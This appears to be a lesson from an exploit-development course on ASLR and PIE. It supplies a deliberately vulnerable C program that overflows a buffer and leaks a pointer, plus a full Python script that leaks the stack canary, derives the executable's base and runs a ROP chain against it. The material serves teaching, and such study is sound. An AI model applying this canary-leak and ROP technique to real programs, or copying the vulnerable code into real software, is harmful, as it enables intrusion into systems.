Skip to content
Courses

ASLR and PIE

MitigationsLesson 6 of 775 minutesLessonNo lab next

When the stack stopped being executable, you still had control of the return address, but the instructions you’d put in the buffer were no longer useful. Borrowing the program’s own code got you past that restriction: those instructions were already in executable memory, and NX had no reason to stop them. The chain worked because you knew where to find them. What happens if those addresses no longer survive the next run?

Address space layout randomization, or ASLR, makes memory locations less predictable by varying where regions are placed when a program starts. The file can contain exactly the same functions and gadgets while their addresses differ between runs. Knowing that an instruction exists in the file no longer tells you where the running process has it.

This is why NX and ASLR work so well together. NX alone leaves existing code available at predictable addresses; ASLR alone doesn’t prevent injected instructions from executing if an attacker can reach them. Together, they make the attacker deal with both problems: finding usable code and locating it in memory. Microsoft’s explanation of their combined effect describes this relationship using the Windows name for execution protection, DEP.

For the chain we’re building, that means another primitive: an address leak, a way to get the program to reveal a pointer into its own memory. The overflow lets us overwrite the return address, but it doesn’t tell us what address belongs there. We now need information from the running process as well as control over what it does.

The kiosk has the same shape you’ve been working with: a canary, two reads into one buffer, an echo between them, a sealed value it never prints, and a form number whose constant contains 5f c3.

Create a fresh working directory and move into it:

Terminal window
mkdir -p ~/underdunn-course/aslr ~/underdunn-course/notes
cd ~/underdunn-course/aslr

Save this complete program as kiosk.c:

#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char ledger[64];
static const unsigned char sealed[] = {
0x77, 0x5e, 0x5f, 0x5c, 0x5e, 0x49, 0x1b, 0x54,
0x4b, 0x5e, 0x55, 0x01, 0x1b, 0x0f, 0x0a, 0x1b,
0x5e, 0x55, 0x4f, 0x49, 0x52, 0x5e, 0x48, 0x15,
};
static void session(void)
{
int slot = 1;
char note[256] = {0};
printf("Session %p\n", (void *)ledger);
puts("Note:");
read(0, note, 265);
printf("Filed (%d): %s\n", slot, note);
puts("Revise?");
read(0, note, 512);
printf("Filed (%d): %s\n", slot, note);
}
static void unseal(void)
{
for (size_t i = 0; i < sizeof sealed; i++)
ledger[i] = (char)(sealed[i] ^ 0x3b);
}
static void tag(unsigned form)
{
if (form == 0x01c35f4eu)
puts("Kiosk ready.");
else
puts("Kiosk ready (unrecognised form).");
}
int main(void)
{
setvbuf(stdout, NULL, _IONBF, 0);
unseal();
tag(0x01c35f4eu);
session();
puts("Kiosk closed.");
exit(0);
}

As on the previous page, unseal reverses a simple XOR so the ledger is not stored as readable text, while setvbuf keeps each prompt visible to the solver. Neither contributes a protection.

The extra printf prints the address of ledger as a session identifier, so the program’s own output gives us an address to compare across runs. main calls exit rather than returning so the example also contains an exit@plt entry for the final chain; that is course scaffolding, not a requirement of PIE or ASLR.

Build it with:

Terminal window
gcc -g -O0 -fno-omit-frame-pointer kiosk.c -o kiosk

The relevant change is that -no-pie is gone. With the Ubuntu toolchain used for the recorded example, that allows the default position-independent executable, or PIE, build.

The two names describe different jobs:

  • PIE lets the executable load at different base addresses.
  • ASLR varies the placement between runs.

The remaining flags keep debugging information, disable optimization and retain frame pointers so the compiled program stays easier to inspect. GCC’s link options describe the distinction between PIE and non-PIE output.

Terminal window
readelf -h ./kiosk | grep Type
Type: DYN (Position-Independent Executable file)

Here readelf identifies the result as a position-independent executable. The ELF types are worth distinguishing:

  • PIE executables and shared libraries both use DYN.
  • An ordinary non-PIE executable reports EXEC.

Sharing a type with a library doesn’t make this program one.

Restore address randomization inside the course VM if an earlier exercise left it disabled:

Terminal window
sudo sysctl -w kernel.randomize_va_space=2

The Linux kernel’s description of this setting covers the stack, shared libraries and PIE code, with value 2 also enabling heap randomization.

Keep it enabled after this exercise; disabling it was a temporary condition for the earlier measurements.

Run it three times and read the second line of each.

Terminal window
./kiosk < /dev/null | sed -n '2p'
Session 0x5822280a4040
Session 0x5e398d15a040
Session 0x5745c27e9040

The addresses differ, but every one finishes 040. Your full addresses needn’t match these recorded runs; compare what changes between your own runs of the same binary.

In this x86-64 example the image’s base is aligned to a 4 KiB page boundary, so its low twelve bits are zero. Moving that base doesn’t rearrange the file’s contents: ledger remains the same distance from it, which preserves the bottom three hexadecimal digits of this symbol’s address.

The page alignment and fixed symbol offset explain the shared ending. The three outputs illustrate that rule; they don’t establish it on their own, or tell us that every address the process uses has a fixed ending.

Terminal window
nm ./kiosk | grep ' B ledger$'
0000000000004040 B ledger

0x4040 isn’t the runtime address of ledger in any of these runs. It’s an offset within the executable image, which is why it stays useful even though it doesn’t match the addresses printed above.

You met the same base-and-offset relationship in libc. Here it applies to the executable itself: a tool reports a value relative to the image’s base, while the runtime address also depends on where that image was loaded.

That’s the useful similarity to a shared library: how the addresses are formed.

Everything you need is in the same position:

Terminal window
ROPgadget --binary ./kiosk --only 'pop|ret' | grep ' pop rdi ; ret'
objdump -d -Mintel ./kiosk | grep -E '<(puts|exit)@plt>:'
0x000000000000146d : pop rdi ; ret
00000000000010a0 <puts@plt>:
00000000000010f0 <exit@plt>:

These four values describe locations within the image, rather than their full addresses in a running process. The executable file can tell you its layout, but it doesn’t check the randomized base chosen for a particular run.

The session identifier supplies information about the running process:

printf("Session %p\n", (void *)ledger);

The pointer printed as a session handle is a deliberate disclosure in this example. It might look like a convenient identifier, but its role here was chosen, not discovered in a real application.

The printed value gives the runtime address of ledger, while nm gives its offset in this binary. For the recorded run below, the difference between them is the base:

base = 0x5a701b610040 - 0x4040
= 0x5a701b60c000

The result ends in 000, as we’d expect from the image’s page alignment. That’s a consistency check, not proof that every input to the calculation is correct.

The image moves; its internal offsets do not

Select one of the three recorded successful runs. These offsets belong to kiosk, not to libc or the stack. The bands are not drawn to scale.

Image base 0x5a701b60c000

One executable image · offsets increase upward

ledger+0x4040

0x5a701b610040

Image base+0x0000

0x5a701b60c000

Addresses for the selected run

Leaked ledger address
0x5a701b610040
Known ledger offset
0x4040
Subtract offset → base
0x5a701b60c000
Base + 0x146d → gadget
0x5a701b60d46d
libc base
Not established by this leak

All four symbols move by the same amount because their offsets belong to the same unchanged image. The base ends in 000; ledger retains the low digits 040.

Blue underlines mark changed values; dashed outlines mark current sources or destinations. Byte addresses increase left to right. Unshown values are omitted, not zero.

Save this complete script as solve.py:

import os
import subprocess
from struct import pack, unpack
TARGET = "./kiosk"
OFF_LEDGER = 0x4040
OFF_POP_RDI = 0x146d
OFF_PUTS = 0x10a0
OFF_EXIT = 0x10f0
def read_until(stream, marker):
data = bytearray()
while marker not in data:
chunk = os.read(stream.fileno(), 4096)
if not chunk:
raise RuntimeError(f"process ended before {marker!r}")
data.extend(chunk)
return bytes(data)
p = subprocess.Popen([TARGET], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
head = read_until(p.stdout, b"Note:\n")
handle = int(head.split(b"Session ", 1)[1].split(b"\n", 1)[0], 16)
base = handle - OFF_LEDGER
p.stdin.write(b"A" * 265)
p.stdin.flush()
leak = read_until(p.stdout, b"Revise?\n")
body = leak.split(b"Filed (1): ", 1)[1]
canary = unpack("<Q", b"\x00" + body[265:272])[0]
chain = b"".join(pack("<Q", v) for v in (
base + OFF_POP_RDI, base + OFF_LEDGER, base + OFF_PUTS,
base + OFF_POP_RDI, 0, base + OFF_EXIT,
))
payload = b"B" * 264 + pack("<Q", canary) + b"C" * 8 + chain
p.stdin.write(payload)
p.stdin.close()
output = p.stdout.read()
status = p.wait()
tail = next(
(line for line in output.splitlines() if b"Ledger open:" in line),
b"not printed",
)
print(f"handle {handle:#x} base {base:#x} status {status} "
f"tail: {tail.decode(errors='replace')}")

The first read recovers the canary. The new part is the address calculation: every destination in the chain is formed from the base computed for this run.

Run the script three times:

Terminal window
python3 solve.py
python3 solve.py
python3 solve.py
handle 0x5a701b610040 base 0x5a701b60c000 status 0 tail: Ledger open: 41 entries.
handle 0x5f5ec4a29040 base 0x5f5ec4a25000 status 0 tail: Ledger open: 41 entries.
handle 0x5fe49d042040 base 0x5fe49d03e000 status 0 tail: Ledger open: 41 entries.

The bases differ, but the recorded output is the same. The result depends on the deliberately printed pointer and the known layout of the matching binary, not just on the presence of an overflow.

Knowledge check

Question 1 of 3

Three runs put ledger at 0x5822280a4040, 0x5e398d15a040 and 0x5745c27e9040. Which explanation is consistent with these observations and the image placement described above?

  • If every run reports the same base, check where you measured it. GDB disables randomization by default for processes it starts on Linux, so measurements made there may not reflect the system setting. Check whether the process ran inside or outside the debugger.
  • A computed base that doesn’t end in 000 conflicts with the expected alignment here, but that observation alone doesn’t identify which input is wrong.
  • An immediate fault doesn’t establish that randomization caused it. Keep the failure output separate from your explanation of it.
  • The printed handle is hexadecimal in this environment; check the original text alongside any parsed value.
  • Missing output doesn’t by itself tell you which protection or part of the program stopped the run.

To recover a confused comparison, rebuild from kiosk.c, repeat the four offset commands, and update the constants in solve.py if your listing differs. Keep each output with the handle and base from that same run.

Suppose a colleague rebuilds the program, sees another address ending in 040, and concludes that the binary’s layout hasn’t changed. What do the matching digits tell them, and what remains unknown?

Check your reasoning

The addresses share their low twelve bits. Different offsets can have those same low bits, and rebuilding may change the image’s layout.

Our earlier explanation concerned repeated runs of the same binary. A matching address ending isn’t a fingerprint that proves two builds are identical.

We’ve now seen three protections constrain different parts of the example:

  • The canary checks a value near the saved return address.
  • A non-executable stack prevents instruction fetches from stack pages.
  • ASLR varies memory placement.

None of those checks establishes that a return leads back to the expected caller.

An address can point to executable memory and still be the wrong destination for this particular return. Checking that relationship is a different kind of defence from making the destination harder to locate, and it’s the question we’ll take up next.